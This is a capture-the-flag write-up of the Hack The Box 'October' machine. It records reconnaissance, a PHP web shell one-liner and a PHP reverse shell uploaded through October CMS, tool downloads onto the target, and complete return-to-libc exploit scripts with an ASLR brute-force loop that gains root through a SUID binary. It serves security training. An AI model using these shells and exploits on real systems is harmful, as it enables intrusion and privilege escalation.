October

From Luniwiki
Jump to: navigation, search

Back

October01.png

Ports scan

u505@kali:~/HTB/Machines/October$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.16
[sudo] password for u505:

Starting masscan 1.0.5 at 2020-03-21 19:56:54 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 22/tcp on 10.10.10.16 Discovered open port 80/tcp on 10.10.10.16
u505@kali:~/HTB/Machines/October$ nmap -sC -sV 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 15:23 EDT
Nmap scan report for october.htb (10.10.10.16)
Host is up (0.039s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds

Web Server

October02.png

October07.png

Dirsearch

u505@kali:~/HTB/Machines/October$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common2.txt -e "php,txt" -f -t 50 -u http://10.10.10.16

_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| )
Extensions: php, txt | HTTP method: get | Threads: 50 | Wordlist size: 13784
Error Log: /opt/utils/dirsearch/logs/errors-20-03-18_15-28-05.log
Target: http://10.10.10.16
[15:28:05] Starting: [15:28:07] 403 - 282B - /.php CTRL+C detected: Pausing threads, please wait... [e]xit / [c]ontinue: c [15:33:15] 200 - 5KB - /account/ [15:38:43] 302 - 400B - /backend/ -> http://10.10.10.16/backend/backend/auth [15:39:40] 200 - 4KB - /blog/ [15:40:03] 200 - 4KB - /Blog/ [15:53:02] 200 - 3KB - /error/ [15:56:08] 200 - 4KB - /forgot-password/ [15:56:53] 200 - 9KB - /forum/ [16:01:11] 403 - 284B - /icons/ [16:02:07] 200 - 5KB - /index.php [16:02:11] 200 - 5KB - /index.php/ [16:28:01] 403 - 292B - /server-status/

Search exploit

u505@kali:~/HTB/Machines/October$ searchsploit October
--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
October CMS - Upload Protection Bypass | exploits/php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnera | exploits/php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scr | exploits/php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persis | exploits/php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross | exploits/php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross | exploits/php/webapps/43106.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
u505@kali:~/HTB/Machines/October$ searchsploit -m 41936
  Exploit: October CMS 1.0.412 - Multiple Vulnerabilities
      URL: https://www.exploit-db.com/exploits/41936
     Path: /usr/share/exploitdb/exploits/php/webapps/41936.txt
File Type: HTML document, UTF-8 Unicode text, with CRLF line terminators

Copied to: /home/u505/HTB/Machines/October/41936.txt

This document contains multiples exploits, but we need authentication on each one, the first one is very interesting.

1. PHP upload protection bypass
-------------------------------
<br>
Authenticated user with permission to upload and manage media contents can
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list based
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().
<br>
==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 'php',
112                 'php3',
113                 'php4',
114                 'phtml',
115                 // redacted
116         ];
117 }
====================  source end  ========================
<br>
We can easily bypass file upload restriction on those systems by using an
alternative extension, e.g if we upload sh.php5 on the server:
<br>
==================== source start ========================
<?php $_REQUEST['x']($_REQUEST['c']);
====================  source end  ========================
<br>
Code can be execute by making a following request:
http://victim.site/storage/app/media/sh.php5?x=system&c=pwd

Reverse shell upload

u505@kali:~/HTB/Machines/October$ grep CHANGE php-reverse-shell.php
$ip = '10.10.14.18';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
u505@kali:~/HTB/Machines/October$ mv php-reverse-shell.php php-reverse-shell.php5

We start the listener, on port 4444

u505@kali:~/HTB/Machines/October$ rlwrap nc -lnvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

The user admin and password admin works,...

October03.png

We upload our shell.

October04.png

October05.png

Once, we click on the file, the reverse shell is opened.

u505@kali:~/HTB/Machines/October$ rlwrap nc -lnvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.16.
Ncat: Connection from 10.10.10.16:34192.
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
 05:09:45 up 13 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@october:/$ stty raw -echo
stty raw -echo

User Flag

www-data@october:/home/harry$ cat user.txt
<USER_FLAG>

Escalation of privileges

We upoad the LinEnum script.

u505@kali:~/HTB/Machines/October/www$ cp /opt/utils/pspy/pspy32 ./
u505@kali:~/HTB/Machines/October/www$ cp /opt/utils/LinEnum/LinEnum.sh ./
u505@kali:~/HTB/Machines/October/www$ sudo python -m SimpleHTTPServer 80
[sudo] password for u505:
Serving HTTP on 0.0.0.0 port 80 ...


www-data@october:/$ cd /tmp www-data@october:/tmp$ wget -rq http://10.10.14.18/ www-data@october:/tmp$ cd 10.10.14.18 www-data@october:/tmp/10.10.14.18$ ls -l total 2648 -rw-rw-rw- 1 www-data www-data 46631 Mar 21 05:09 LinEnum.sh -rw-rw-rw- 1 www-data www-data 250 Mar 21 05:14 index.html -rw-rw-rw- 1 www-data www-data 2656352 Mar 21 05:08 pspy32 www-data@october:/tmp/10.10.14.18$ chmod +x * www-data@october:/tmp/10.10.14.18$ ./LinEnum.sh

During the execution, a particular SUID file appears.

[-] SUID files:
-rwsr-xr-x 1 root root 67704 Nov 24  2016 /bin/umount
-rwsr-xr-x 1 root root 38932 May  8  2014 /bin/ping
-rwsr-xr-x 1 root root 30112 May 15  2015 /bin/fusermount
-rwsr-xr-x 1 root root 35300 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 43316 May  8  2014 /bin/ping6
-rwsr-xr-x 1 root root 88752 Nov 24  2016 /bin/mount
-rwsr-xr-x 1 root root 5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 492972 Aug 11  2016 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9808 Nov 24  2015 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 333952 Dec  7  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 156708 Oct 14  2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 30984 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18168 Nov 24  2015 /usr/bin/pkexec
-rwsr-xr-x 1 root root 45420 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 44620 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66284 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 18136 May  8  2014 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 72860 Oct 21  2013 /usr/bin/mtr
-rwsr-xr-x 1 root root 35916 May 17  2017 /usr/bin/chsh
-rwsr-sr-x 1 daemon daemon 46652 Oct 21  2013 /usr/bin/at
-rwsr-xr-- 1 root dip 323000 Apr 21  2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24  2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw

The suid flag is turned on, and the owner is root.

www-data@october:/tmp/10.10.14.18$ ls -l /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw

The glibc address is randomized.

www-data@october:/tmp/10.10.14.18$ ldd /usr/local/bin/ovrflw
       linux-gate.so.1 =>  (0xb7767000)
       libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ad000)
       /lib/ld-linux.so.2 (0x8005f000)
www-data@october:/tmp/10.10.14.18$ ldd /usr/local/bin/ovrflw
       linux-gate.so.1 =>  (0xb777b000)
       libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c1000)
       /lib/ld-linux.so.2 (0x800fe000)
www-data@october:/tmp/10.10.14.18$ cat /proc/sys/kernel/randomize_va_space
2

The system is 32 bits.

www-data@october:/tmp/10.10.14.18$ uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux

And the OS is Ubuntu 14.

www-data@october:/tmp/10.10.14.18$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.5 LTS
Release:        14.04
Codename:       trusty

ovrflw program transfer

www-data@october:/tmp/10.10.14.18$ scp /usr/local/bin/ovrflw u505@10.10.14.18:/home/u505/HTB/Machines/October/
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.14.18 (10.10.14.18)' can't be established.
ECDSA key fingerprint is cc:fe:3b:81:5a:ff:98:11:bd:c5:f5:5d:72:3d:b5:ee.
Are you sure you want to continue connecting (yes/no)? yes

Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). u505@10.10.14.18's password:
ovrflw 100% 7377 7.2KB/s 00:00

The disassembly shows a very simple program that do a strcpy of the argument in a local variable without any control.

October 06.png

u505@kali:~/HTB/Machines/October$ file ovrflw
ovrflw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

Overflow offset

u505@kali:~/HTB/Machines/October$ gdb ovrflw
GNU gdb (Debian 9.1-2) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ovrflw... (No debugging symbols found in ovrflw) (gdb) init-peda gdb-peda$ pattern create 150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA' Starting program: /opt/HTB/Machines/October/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffffd790 ("AAQAAmAARAAoAA") EDX: 0xffffd524 ("AAQAAmAARAAoAA") ESI: 0xf7fa5000 --> 0x1d6d6c EDI: 0xf7fa5000 --> 0x1d6d6c EBP: 0x6941414d ('MAAi') ESP: 0xffffd510 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA") EIP: 0x41384141 ('AA8A') EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41384141 [------------------------------------stack-------------------------------------] 0000| 0xffffd510 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA") 0004| 0xffffd514 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") 0008| 0xffffd518 ("AAOAAkAAPAAlAAQAAmAARAAoAA") 0012| 0xffffd51c ("AkAAPAAlAAQAAmAARAAoAA") 0016| 0xffffd520 ("PAAlAAQAAmAARAAoAA") 0020| 0xffffd524 ("AAQAAmAARAAoAA") 0024| 0xffffd528 ("AmAARAAoAA") 0028| 0xffffd52c ("RAAoAA") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41384141 in ?? ()
gdb-peda$ pattern offset 0x41384141 1094205761 found at offset: 112

We control the value of the register EIP at offset 112.

u505@kali:~/HTB/Machines/October$ cat exploit.py
#!/usr/bin/python
from pwn import *
junk = 'D'*112
eip=0xdeadc0de
after = 'U'*8
payload = junk + p32(eip) + after
file = open("test","w")
file.write (payload)
file.close()
u505@kali:~/HTB/Machines/October$ python exploit.py

From the debugger

gdb-peda$ r `cat test`
Starting program: /opt/HTB/Machines/October/ovrflw `cat test`

Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffffd790 --> 0xadc0de44 EDX: 0xffffd52b --> 0xadc0de44 ESI: 0xf7fa5000 --> 0x1d6d6c EDI: 0xf7fa5000 --> 0x1d6d6c EBP: 0x44444444 ('DDDD') ESP: 0xffffd530 ("UUUUUUUU") EIP: 0xdeadc0de EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadc0de [------------------------------------stack-------------------------------------] 0000| 0xffffd530 ("UUUUUUUU") 0004| 0xffffd534 ("UUUU") 0008| 0xffffd538 --> 0xffffd500 ('D' <repeats 44 times>, "\336\300\255\336UUUUUUUU") 0012| 0xffffd53c --> 0xffffd554 --> 0x0 0016| 0xffffd540 --> 0x1 0020| 0xffffd544 --> 0x0 0024| 0xffffd548 --> 0xf7fa5000 --> 0x1d6d6c 0028| 0xffffd54c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xdeadc0de in ?? ()

The core dump occurs at offset 112 with control of EIP address.

Exploitation Strategy

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

The NX flag is enabled, it means we cannot add executable code directly on the stack.

gdb-peda$ elfsymbol
Found 5 symbols
printf@plt = 0x8048330
strcpy@plt = 0x8048340
__gmon_start__@plt = 0x8048350
exit@plt = 0x8048360
__libc_start_main@plt = 0x8048370

Because the ASLR is ON, at first I tried unsuccessfully to leak the glibc address with the function printf, but I didn't succeed, and each leak was followed by the call of the exit function from the code inside of the if, so even if I would have leaked the glibc base address, I wouldn't be able to trigger the second stage.

If the glic address is known, the easy exploit is to call system with the /bin/sh argument and exit as return address. But because the ASLR is on, the glic address changes at each execution.

www-data@october:/$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
www-data@october:/$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb760d000)
www-data@october:/$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
www-data@october:/$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7583000)

But only a 3 bytes seem to be randomized. If we search for the glibc base address several times, we can find the range of randomized addresses.

www-data@october:/$ for i in `seq 1 2048` ; do ldd /usr/local/bin/ovrflw | grep libc | cut -d '(' -f 2 | cut -d ')' -f 1 ; done > /tmp/a 
www-data@october:/$ cd tmp
www-data@october:/tmp$ cat a | sort | uniq | head -n 2
0xb7546000
0xb7547000
www-data@october:/tmp$ cat a | sort | uniq | tail -n 2
0xb7644000
0xb7645000
www-data@october:/tmp$ cat a | sort | uniq | wc -l
256

The randomized glibc addresses are between 0xb7546000 and 0xb7645000, there are only 256 different addresses. If we pick one of these valid glibc base addresses, we should guess the glibc base address with less than 256 executions. This attack is named ASLR brute force.

Build exploit

To build the exploit, first we disable ASLR locally.

u505@kali:~/HTB/Machines/October$ sudo sysctl kernel.randomize_va_space=0
[sudo] password for u505:
kernel.randomize_va_space = 0

Glic base address

u505@kali:~/HTB/Machines/October$ ldd ovrflw
       linux-gate.so.1 (0xf7fd3000)
       libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dce000)
       /lib/ld-linux.so.2 (0xf7fd4000)

System offset

u505@kali:~/HTB/Machines/October$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@@"
 1528: 00042660    55 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.0

Exit function offset

u505@kali:~/HTB/Machines/October$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@@"
  150: 000356f0    33 FUNC    GLOBAL DEFAULT   14 exit@@GLIBC_2.0

String /bin/sh offset

u505@kali:~/HTB/Machines/October$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 17ff68 /bin/sh

With this information, the following python script writes the payload

u505@kali:~/HTB/Machines/October$ cat exploit.py
#!/usr/bin/python
from pwn import *
junk = 'D'*112
glibcbase=0xf7dce000
systemoffset=0x00042660
exitoffset=0x000356f0
binshoffset=0x17ff68
systemaddr=glibcbase+systemoffset
exitaddr=glibcbase+exitoffset
binshaddr=glibcbase+binshoffset
log.info("systemaddr 0x%x" % systemaddr)
log.info("exitaddr 0x%x" % exitaddr)
log.info("binshaddr 0x%x" % binshaddr)
payload = junk + p32(systemaddr) + p32(exitaddr) + p32(binshaddr)

file = open("test","w") file.write (payload) file.close()

Generation of the payload file

u505@kali:~/HTB/Machines/October$ python exploit.py
[*] systemaddr 0xf7e10660
[*] exitaddr 0xf7e036f0
[*] binshaddr 0xf7f4df68

Change permissions of ovrflw program

u505@kali:~/HTB/Machines/October$ sudo chown root:root ovrflw
u505@kali:~/HTB/Machines/October$ sudo chmod 4777 ovrflw
u505@kali:~/HTB/Machines/October$ ls -ltr ovrflw
-rwsrwxrwx 1 root root 7377 Mar 20 23:17 ovrflw

Exploit run

u505@kali:~/HTB/Machines/October$ ./ovrflw `cat test`
$ whoami
u505

The exploit works, but I expected the root user instead of my local user. On Ubuntu 16 32bits the behavior is the same. But in Ubuntu 14 32bits (same OS as the target), I won the root.

u505@ubuntu1404532bits:~$ ./ovrflw `cat test`
# whoami
root

After some research, the behavior of dash has been modified on Ubuntu 16 and after. A new modifier -p was added on the man page.

 -p priviliged    Do not attempt to reset effective uid if it does not match uid. This is not set by default to help avoid incorrect usage by setuid root programs via system(3) or popen(3).

I wrote a little program that explains the new behavior.

u505@kali:~/HTB/Machines/October$ cat suid.c
#include <stdio.h>
#include <unistd.h>
int main () {
 int real = getuid();
 int euid = geteuid();
 printf("The REAL UID =: %d\n", real);
 printf("The EFFECTIVE UID =: %d\n", euid);
 system ("/bin/sh");
 setuid(0);
 real = getuid();
 euid = geteuid();
 printf("The REAL UID =: %d\n", real);
 printf("The EFFECTIVE UID =: %d\n", euid);
 system ("/bin/sh");
}

The program does 2 calls at system, the first one directly, and the second one after the call of setuid function.

u505@kali:~/HTB/Machines/October$ ls -l suid
-rwsr-xr-x 1 root root 16824 Mar 22 22:24 suid
u505@kali:~/HTB/Machines/October$ ./suid
The REAL UID =: 1000
The EFFECTIVE UID =: 0
$ whoami
u505
$ exit
The REAL UID =: 0
The EFFECTIVE UID =: 0
# whoami
root
# exit

We see on the first call the real UID is u505, but after the setuid function the real id is root. On modern versions of Debian or Ubunbtu, this exploit wouldn't work because the lack of setuid function, but on Ubuntu 14, it should work.

Now we try to brute force the ASLR.

u505@ubuntu1404532bits:~$ sudo sysctl kernel.randomize_va_space=2 
kernel.randomize_va_space = 2

We search again a valid glibc address and run the exploit to have a valid payload.

u505@ubuntu1404532bits:~$ ldd ovrflw
       linux-gate.so.1 =>  (0xb7754000)
       libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759a000)
       /lib/ld-linux.so.2 (0xb7756000)

We run our payload in a loop until, the glibc base address matches our guess.

u505@ubuntu1404532bits:~$ i=0 ; while :; do i=`expr $i + 1`; ./ovrflw `cat payload`; echo "Try $i failed"; done
Segmentation fault (core dumped)
Try 1 failed
Segmentation fault (core dumped)
...
Try 26 failed
Segmentation fault (core dumped)
Try 27 failed
Segmentation fault (core dumped)
Try 28 failed
# whoami
root

After 29 tries, we gain the shell with root user.

Run of the exploit into the target

From the target, we get the addresses

www-data@october:/$ ldd /usr/local/bin/ovrflw
        linux-gate.so.1 =>  (0xb77c6000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e8000)
        /lib/ld-linux.so.2 (0x80073000)
www-data@october:/$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@@"
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0  
www-data@october:/$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@@"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
www-data@october:/$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 162bac /bin/sh

We build the exploit for our target.

u505@kali:~/HTB/Machines/October$ cat exploit_target.py
#!/usr/bin/python
from pwn import *
junk = 'D'*112
glibcbase=0xb75e8000
systemoffset=0x00040310
exitoffset=0x00033260
binshoffset=0x162bac
systemaddr=glibcbase+systemoffset
exitaddr=glibcbase+exitoffset
binshaddr=glibcbase+binshoffset
log.info("systemaddr 0x%x" % systemaddr)
log.info("exitaddr 0x%x" % exitaddr)
log.info("binshaddr 0x%x" % binshaddr)
payload = junk + p32(systemaddr) + p32(exitaddr) + p32(binshaddr)

file = open("payload","w") file.write (payload) file.close()

Generation of the payload file.

u505@kali:~/HTB/Machines/October$ python exploit_target.py
[*] systemaddr 0xb764c310
[*] exitaddr 0xb763f260
[*] binshaddr 0xb776ebac

We convert the payload to base64 to copy paste it easily.

u505@kali:~/HTB/Machines/October$ cat payload | base64 -w 0
RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERBDDZLdg8mO3rOt2tw==
u505@kali:~/HTB/Machines/October$ md5sum payload
c4478f0a9a8ebfa2954d78301a6c2778  payload

Generation of the payload file in the target.

www-data@october:/$ echo -n "RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERBCDYrdgsmG3rKt0tw==" | base64 -d > /tmp/payload
www-data@october:/$ md5sum /tmp/payload
c4478f0a9a8ebfa2954d78301a6c2778  /tmp/payload

Run of the loop to gain root access.

www-data@october:/$ i=0 ; while :; do i=`expr $i + 1`; /usr/local/bin/ovrflw `cat /tmp/payload`; echo "Try $i failed"; done
Segmentation fault (core dumped)
Try 1 failed
Segmentation fault (core dumped)
Try 2 failed
Segmentation fault (core dumped)
Try 3 failed
Segmentation fault (core dumped)
Try 4 failed
Segmentation fault (core dumped)
Try 5 failed
Segmentation fault (core dumped)
Try 6 failed
*** Error in `/usr/local/bin/ovrflw': free(): invalid pointer: 0x0804823c ***
Aborted (core dumped)
Try 7 failed
Segmentation fault (core dumped)
Try 8 failed
Segmentation fault (core dumped)
Try 9 failed
Segmentation fault (core dumped)
Try 10 failed
Segmentation fault (core dumped)
Try 11 failed
Segmentation fault (core dumped)
Try 12 failed
Segmentation fault (core dumped)
Try 13 failed
Segmentation fault (core dumped)
Try 14 failed
Segmentation fault (core dumped)
Try 15 failed
Segmentation fault (core dumped)
Try 16 failed
Segmentation fault (core dumped)
Try 17 failed
Segmentation fault (core dumped)
Try 18 failed
Segmentation fault (core dumped)
Try 19 failed
Segmentation fault (core dumped)
Try 20 failed
Segmentation fault (core dumped)
Try 21 failed
*** Error in `/usr/local/bin/ovrflw': free(): invalid pointer: 0x0804823c ***
Aborted (core dumped)
Try 22 failed
Segmentation fault (core dumped)
Try 23 failed
Segmentation fault (core dumped)
Try 24 failed
Segmentation fault (core dumped)
Try 25 failed
Segmentation fault (core dumped)
Try 26 failed
Segmentation fault (core dumped)
Try 27 failed
Segmentation fault (core dumped)
Try 28 failed
Segmentation fault (core dumped)
Try 29 failed
Segmentation fault (core dumped)
Try 30 failed
Illegal instruction (core dumped)
Try 31 failed
*** Error in `/usr/local/bin/ovrflw': munmap_chunk(): invalid pointer: 0xbf894eb5 ***
Aborted (core dumped)
Try 32 failed
Segmentation fault (core dumped)
Try 33 failed
Segmentation fault (core dumped)
Try 34 failed
Segmentation fault (core dumped)
Try 35 failed
Trace/breakpoint trap (core dumped)
Try 36 failed
Segmentation fault (core dumped)
Try 37 failed
Segmentation fault (core dumped)
Try 38 failed
Segmentation fault (core dumped)
Try 39 failed
Segmentation fault (core dumped)
Try 40 failed
Segmentation fault (core dumped)
Try 41 failed
Segmentation fault (core dumped)
Try 42 failed
Segmentation fault (core dumped)
Try 43 failed
Segmentation fault (core dumped)
Try 44 failed
Segmentation fault (core dumped)
Try 45 failed
Segmentation fault (core dumped)
Try 46 failed
Segmentation fault (core dumped)
Try 47 failed
Segmentation fault (core dumped)
Try 48 failed
Illegal instruction (core dumped)
Try 49 failed
Illegal instruction (core dumped)
Try 50 failed
Segmentation fault (core dumped)
Try 51 failed
Segmentation fault (core dumped)
Try 52 failed
Segmentation fault (core dumped)
Try 53 failed
Segmentation fault (core dumped)
Try 54 failed
Segmentation fault (core dumped)
Try 55 failed
Segmentation fault (core dumped)
Try 56 failed
Segmentation fault (core dumped)
Try 57 failed
Segmentation fault (core dumped)
Try 58 failed
Segmentation fault (core dumped)
Try 59 failed
Segmentation fault (core dumped)
Try 60 failed
Segmentation fault (core dumped)
Try 61 failed
Segmentation fault (core dumped)
Try 62 failed
# whoami
root

After 62 tries, the system shows the root prompt.

Root Flag

# cat /root/root.txt
<ROOT_FLAG>

References

Daniel Simao 14:26, 21 March 2020 (EDT)